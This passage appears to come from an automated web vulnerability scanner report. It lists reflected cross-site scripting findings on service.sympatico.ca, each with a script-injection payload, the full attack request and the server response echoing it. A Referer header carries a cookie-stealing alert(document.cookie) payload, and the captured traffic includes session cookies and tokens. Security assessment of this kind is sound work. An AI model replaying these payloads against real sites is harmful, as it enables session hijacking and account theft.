Set-Cookie: SMSESSION=zZmrqzbIMvQ/2kYmSfOFOSZlUF8Wp0F66Sqhf6E6ocW4yleEmMpnlvLAy9y4yQ1u4285NPVDsDNeiG1bWzqQWIRhiJgfQcpN0BKE/JbIOvQ//Lu+TINefFI8ctGI5eVBPKQkm2x9OmvPD0AI//0fttG2c1L6ON+yHDS8E98lwZJtvSHvg1b4WFHMuhsnc0IrjyW0HDoVSUOTKJ1vC+Q9LT5I0a6zuRj4eKYLVibjQ/uC0QXTkwJ71Qjq0vzonSNwnysar3TYfj58Wk328EbPBC82BBhdwEErlusS8lx4FsKI1XJ24q6dag==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:39 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
"hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/mybell.cssd8431"><script>alert(1)</script>34711d26e5" />
...[SNIP]...

2.238. https://service.sympatico.ca/css/screen.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/screen.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13769"><script>alert(1)</script>6ab21d44e86 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css13769"><script>alert(1)</script>6ab21d44e86/screen.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:45 GMT
Connection: close
Set-Cookie: SMSESSION=ea75jTAkQtYJF+TBQm6g4g40rPd9qjvqCYC+bc8YrjQibhduyT7XvVcJ4GzVycT2/9kszcxnrzZS8rZTVCxwt8z6wQw0OoAM3JWY0+6bT5FCZ+nuLpvIbhjKkuTI60JjuhgOKjNkRx7dQKm8yHd1uvqte1+kZ8+n+SiBs0tPuxHGzGXc59Z4ecAiymebCKnJzPUCbowX4T8sSDpNQNYkBHEmsT57tt/IYhktB7qvffYXwRIKbp5aPpR8DbC+6YTyPRQlbf7B+nFLafvGUGpq6lM2wDl8P40vGgSxRGY/RIw4s+a2Mw93IA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:46 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:46 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css13769"><script>alert(1)</script>6ab21d44e86/screen.css" />
...[SNIP]...

2.239. https://service.sympatico.ca/css/screen.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/screen.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 481f0"><script>alert(1)</script>32f12fa9dee was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/screen.css481f0"><script>alert(1)</script>32f12fa9dee HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:49 GMT
Connection: close
Set-Cookie: SMSESSION=SfkX8tbjoa3YtSL4pnVvEg4ivEGsWlewqHQV+1ZMbsIQ0NBwy4Xhq2qo2C1OogzAXpWzKeDzsfgtd1L2xHyixpGQ9WlgjbovqDOf6tlB4EMaR7R6wayCDOBkzywkrVl+1lxVrV5+xyLNSnBpkD/lXhfqlY4K6RuPlbQI9m5UsXRlgfzgupmq1XTbpskaAx/+CVSP5iRAW3zZNMKrB2CDibywMYgh0433I7u9UYW3qsEReD4dN0b0M7EYChfXinZRdvdv+Zfpih+O38nKsxrwWaQrm/uWpBX/iM7MAfJXPdv17qVrJBV7tw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:49 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:49 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
"hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/screen.css481f0"><script>alert(1)</script>32f12fa9dee" />
...[SNIP]...

2.240. https://service.sympatico.ca/css/screen_print.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/screen_print.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acc46"><script>alert(1)</script>888eae8f83c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /cssacc46"><script>alert(1)</script>888eae8f83c/screen_print.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BIn